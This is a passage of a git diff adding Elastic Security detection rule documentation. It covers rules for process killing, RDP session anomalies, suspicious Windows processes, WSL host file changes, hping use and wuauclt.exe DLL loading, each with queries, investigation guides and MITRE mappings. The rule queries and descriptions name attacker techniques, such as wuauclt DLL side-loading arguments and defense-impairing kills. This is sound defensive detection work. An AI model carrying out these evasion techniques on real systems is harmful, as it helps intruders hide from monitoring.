allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and ( + (process.name:"pkill" and process.args:"-f") or + (process.name:kill and process.args:"-9") or + (process.name:killall) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-variance-in-rdp-session-duration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-variance-in-rdp-session-duration.asciidoc new file mode 100644 index 0000000000..a746e13d8d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-high-variance-in-rdp-session-duration.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-high-variance-in-rdp-session-duration]] +=== High Variance in RDP Session Duration + +A machine learning job has detected unusually high variance of RDP session duration. Long RDP sessions can be used to evade detection mechanisms via session persistence, and might be used to perform tasks such as lateral movement, that might require uninterrupted access to a compromised machine. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating High Variance in RDP Session Duration* + + +Remote Desktop Protocol (RDP) enables remote access to systems, facilitating legitimate administrative tasks. However, adversaries exploit prolonged RDP sessions to maintain persistent access, often for lateral movement within networks. The detection rule leverages machine learning to identify anomalies in session duration, flagging potential misuse by highlighting sessions with unusually high variance, which may indicate malicious activity. + + +*Possible investigation steps* + + +- Review the specific RDP session details, including the start and end times, to understand the duration and identify any patterns or anomalies in session length. +- Correlate the flagged RDP session with user activity logs to determine if the session aligns with known user behavior or scheduled administrative tasks. +- Investigate the source and destination IP addresses involved in the RDP session to identify any unusual or unauthorized access points. +- Check for any concurrent alerts or logs indicating lateral movement or other suspicious activities originating from the same source or targeting the same destination. +- Analyze the user account associated with the RDP session for any signs of compromise, such as recent password changes, failed login attempts, or unusual access times. +- Review the network traffic during the RDP session for any signs of data exfiltration or communication with known malicious IP addresses. + + +*False positive analysis* + + +- Long RDP sessions for legitimate administrative tasks can trigger false positives. To manage this, identify and whitelist IP addresses or user accounts associated with routine administrative activities. +- Scheduled maintenance or updates often require extended RDP sessions. Exclude these sessions by setting time-based exceptions during known maintenance windows. +- Automated scripts or tools that require prolonged RDP access for monitoring or data collection can be mistaken for anomalies. Document and exclude these processes by recognizing their unique session patterns. +- Remote support sessions from trusted third-party vendors may appear as high variance. Establish a list of trusted vendor IPs or accounts to prevent these from being flagged. +- Training or demonstration sessions that involve extended RDP use should be accounted for by creating exceptions for specific user groups or departments involved in such activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement and potential data exfiltration. +- Terminate the suspicious RDP session to disrupt any ongoing unauthorized activities. +- Conduct a thorough review of the affected system for signs of compromise, including checking for unauthorized user accounts, installed software, and changes to system configurations. +- Reset credentials for any accounts that were accessed during the suspicious RDP session to prevent further unauthorized access. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Monitor network traffic and system logs for any signs of continued or related suspicious activity, focusing on RDP connections and lateral movement patterns. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows RDP process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-host-detected-with-suspicious-windows-process-es.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-host-detected-with-suspicious-windows-process-es.asciidoc new file mode 100644 index 0000000000..5af4728b32 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-host-detected-with-suspicious-windows-process-es.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-host-detected-with-suspicious-windows-process-es]] +=== Host Detected with Suspicious Windows Process(es) + +A machine learning job combination has identified a host with one or more suspicious Windows processes that exhibit unusually high malicious probability scores.These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same host name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/problemchild +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* Use Case: Living off the Land Attack Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Host Detected with Suspicious Windows Process(es)* + + +The detection leverages machine learning to identify clusters of Windows processes with high malicious probability scores. Adversaries exploit legitimate tools, known as LOLbins, to evade detection. This rule uses both supervised and unsupervised ML models to flag unusual process clusters on a single host, indicating potential masquerading tactics for defense evasion. + + +*Possible investigation steps* + + +- Review the host name associated with the suspicious process cluster to determine if it is a critical asset or has a history of similar alerts. +- Examine the specific processes flagged by the ProblemChild supervised ML model to identify any known LOLbins or unusual command-line arguments that may indicate masquerading. +- Check the timeline of the process execution to see if it coincides with any known scheduled tasks or user activity that could explain the anomaly. +- Investigate the parent-child relationship of the processes to identify any unexpected or unauthorized process spawning patterns. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activity. +- Assess the network activity associated with the host during the time of the alert to detect any potential data exfiltration or communication with known malicious IP addresses. + + +*False positive analysis* + + +- Legitimate administrative tools like PowerShell or Windows Management Instrumentation (WMI) may be flagged as suspicious due to their dual-use nature. Users can create exceptions for these tools when used by trusted administrators or during scheduled maintenance. +- Automated scripts or scheduled tasks that perform routine system checks or updates might trigger alerts. Review these processes and whitelist them if they are verified as part of regular operations. +- Software updates or installations that involve multiple processes spawning in a short time frame can be mistaken for malicious clusters. Ensure that these activities are documented and create exceptions for known update processes. +- Development or testing environments where new or experimental software is frequently executed may generate false positives. Consider excluding these environments from monitoring or adjusting the sensitivity of the rule for these specific hosts. +- Frequent use of remote desktop or remote management tools by IT staff can appear suspicious. Implement user-based exceptions for known IT personnel to reduce unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further spread of potential malicious activity. Disconnect it from the network to contain the threat. +- Terminate the suspicious processes identified by the alert. Use task management tools or scripts to ensure all instances of the processes are stopped. +- Conduct a thorough review of the host's system logs and process history to identify any additional indicators of compromise or related malicious activity. +- Restore the host from a known good backup if available, ensuring that the backup is free from any signs of compromise. +- Update and patch the host's operating system and all installed software to close any vulnerabilities that may have been exploited. +- Implement application whitelisting to prevent unauthorized or suspicious processes from executing in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional hosts are affected. + +==== Setup + + + +*Setup* + + +The rule requires the Living off the Land (LotL) Attack Detection integration assets to be installed, as well as Windows process events collected by integrations such as Elastic Defend or Winlogbeat. + + +*LotL Attack Detection Setup* + +The LotL Attack Detection integration detects living-off-the-land activity in Windows process events. + + +*Prerequisite Requirements:* + +- Fleet is required for LotL Attack Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration or Winlogbeat(https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html). +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To set up and run Winlogbeat, follow https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html[this] guide. + + +*The following steps should be executed to install assets associated with the LotL Attack Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Living off the Land Attack Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..8ffeff2ed1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-host-file-system-changes-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-host-file-system-changes-via-windows-subsystem-for-linux]] +=== Host File System Changes via Windows Subsystem for Linux + +Detects file creation and modification on the host system from the Windows Subsystem for Linux. Adversaries may enable and use WSL to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/microsoft/WSL + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Host File System Changes via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run a Linux environment directly on Windows, facilitating seamless file access between systems. Adversaries may exploit WSL to modify host files stealthily, bypassing traditional security measures. The detection rule identifies suspicious file operations initiated by WSL processes, particularly those involving the Plan9FileSystem, to flag potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process details for the "dllhost.exe" instance that triggered the alert, focusing on the command line arguments to confirm the presence of the Plan9FileSystem CLSID "{DFB65C4C-B34F-435D-AFE9-A86218684AA8}". +- Examine the file paths involved in the alert to determine if any sensitive or critical files were accessed or modified outside of typical user directories, excluding the Downloads folder. +- Investigate the parent process of "dllhost.exe" to understand the context of its execution and identify any potentially malicious parent processes. +- Check the timeline of events leading up to and following the alert to identify any other suspicious activities or related alerts that may indicate a broader attack pattern. +- Correlate the alert with user activity logs to determine if the actions were performed by a legitimate user or if there are signs of compromised credentials or unauthorized access. + + +*False positive analysis* + + +- Routine file operations by legitimate applications using WSL may trigger alerts. Identify and whitelist these applications to prevent unnecessary alerts. +- Development activities involving WSL, such as compiling code or running scripts, can generate false positives. Exclude specific development directories or processes from monitoring. +- Automated backup or synchronization tools that interact with WSL might be flagged. Configure exceptions for these tools by specifying their process names or file paths. +- System maintenance tasks that involve WSL, like updates or system checks, could be mistaken for suspicious activity. Schedule these tasks during known maintenance windows and adjust monitoring rules accordingly. +- Frequent downloads or file transfers to directories outside the typical user download paths may appear suspicious. Define clear policies for acceptable file paths and exclude them from alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes associated with "dllhost.exe" that are linked to the Plan9FileSystem CLSID to stop ongoing malicious activities. +- Conduct a thorough review of recent file changes on the host system to identify and restore any unauthorized modifications or deletions. +- Revoke any unauthorized access or permissions granted to WSL that may have been exploited by the adversary. +- Update and patch the Windows Subsystem for Linux and related components to mitigate any known vulnerabilities that could be exploited. +- Monitor for any recurrence of similar activities by setting up alerts for processes and file operations involving "dllhost.exe" and the Plan9FileSystem. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=5m +[process where host.os.type == "windows" and event.type == "start" and + process.name : "dllhost.exe" and + /* Plan9FileSystem CLSID - WSL Host File System Worker */ + process.command_line : "*{DFB65C4C-B34F-435D-AFE9-A86218684AA8}*"] +[file where host.os.type == "windows" and process.name : "dllhost.exe" and + not file.path : ( + "?:\\Users\\*\\Downloads\\*", + "?:\\Windows\\Prefetch\\DLLHOST.exe-????????.pf")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-hping-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-hping-process-activity.asciidoc new file mode 100644 index 0000000000..fcc4149461 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-hping-process-activity.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-hping-process-activity]] +=== Hping Process Activity + +Hping ran on a Linux host. Hping is a FOSS command-line packet analyzer and has the ability to construct network packets for a wide variety of network security testing applications, including scanning and firewall auditing. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/Hping + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Hping Process Activity* + + +Hping is a versatile command-line tool used for crafting and analyzing network packets, often employed in network security testing. Adversaries may exploit Hping to perform reconnaissance, such as scanning networks or probing firewalls, to gather system information. The detection rule identifies Hping's execution on Linux systems by monitoring specific process start events, helping to flag potential misuse indicative of discovery tactics. + + +*Possible investigation steps* + + +- Review the process start event details to confirm the execution of Hping, focusing on the process.name field to ensure it matches "hping", "hping2", or "hping3". +- Identify the user account associated with the Hping process by examining the user context in the event data to determine if the activity aligns with expected behavior for that user. +- Analyze the command line arguments used with the Hping process to understand the intent of the execution, such as specific network targets or options that indicate scanning or probing activities. +- Check the timing and frequency of the Hping process execution to assess whether it aligns with routine network testing schedules or if it appears anomalous. +- Investigate the source and destination IP addresses involved in the Hping activity to identify potential targets and assess whether they are internal or external to the organization. +- Correlate the Hping activity with other security events or alerts from the same host or network segment to identify any related suspicious activities or patterns. +- Consult with the system owner or network security team to verify if the Hping activity was authorized as part of legitimate security testing or if it requires further investigation. + + +*False positive analysis* + + +- Routine network testing by IT teams may trigger the rule when using Hping for legitimate purposes. To manage this, create exceptions for known IP addresses or user accounts involved in regular network audits. +- Automated scripts or cron jobs that utilize Hping for monitoring network performance can lead to false positives. Identify these scripts and exclude their execution paths or associated user accounts from the detection rule. +- Security training exercises or penetration testing activities might involve Hping usage. Coordinate with security teams to whitelist these activities by specifying time windows or specific user roles. +- Development or testing environments where Hping is used for application testing can cause alerts. Exclude these environments by filtering based on hostnames or network segments associated with non-production systems. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further reconnaissance or potential lateral movement by the adversary. +- Terminate any active Hping processes on the affected host to stop ongoing packet crafting or network probing activities. +- Conduct a thorough review of network logs and firewall configurations to identify any unauthorized access or anomalies that may have been exploited using Hping. +- Perform a comprehensive scan of the affected system for additional indicators of compromise, such as unauthorized user accounts or unexpected changes to system files. +- Reset credentials and review access permissions for accounts on the affected host to ensure no unauthorized access persists. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update detection and monitoring systems to enhance visibility and alerting for similar reconnaissance activities, ensuring rapid response to future threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("hping", "hping2", "hping3") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-imageload-via-windows-update-auto-update-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-imageload-via-windows-update-auto-update-client.asciidoc new file mode 100644 index 0000000000..5de7aa1a36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-imageload-via-windows-update-auto-update-client.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-imageload-via-windows-update-auto-update-client]] +=== ImageLoad via Windows Update Auto Update Client + +Identifies abuse of the Windows Update Auto Update Client (wuauclt.exe) to load an arbitrary DLL. This behavior is used as a defense evasion technique to blend-in malicious activity with legitimate Windows software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dtm.uk/wuauclt/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ImageLoad via Windows Update Auto Update Client* + + +The Windows Update Auto Update Client (wuauclt.exe) is the component responsible for managing system updates. However, adversaries may abuse this process to load a malicious DLL and execute malicious code while blending into a legitimate system mechanism. + +This rule identifies potential abuse for code execution by monitoring for specific process arguments ("/RunHandlerComServer" and "/UpdateDeploymentProvider") and common writable paths where the target DLL can be placed (e.g., "C:\Users\*.dll", "C:\ProgramData\*.dll", etc.). + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line and identify the DLL location. +- Examine whether the DLL is signed. +- Retrieve the DLL and determine if it is malicious: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate the behavior of child processes, such as network connections, registry or file modifications, and any spawned processes. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and Remediation* + + 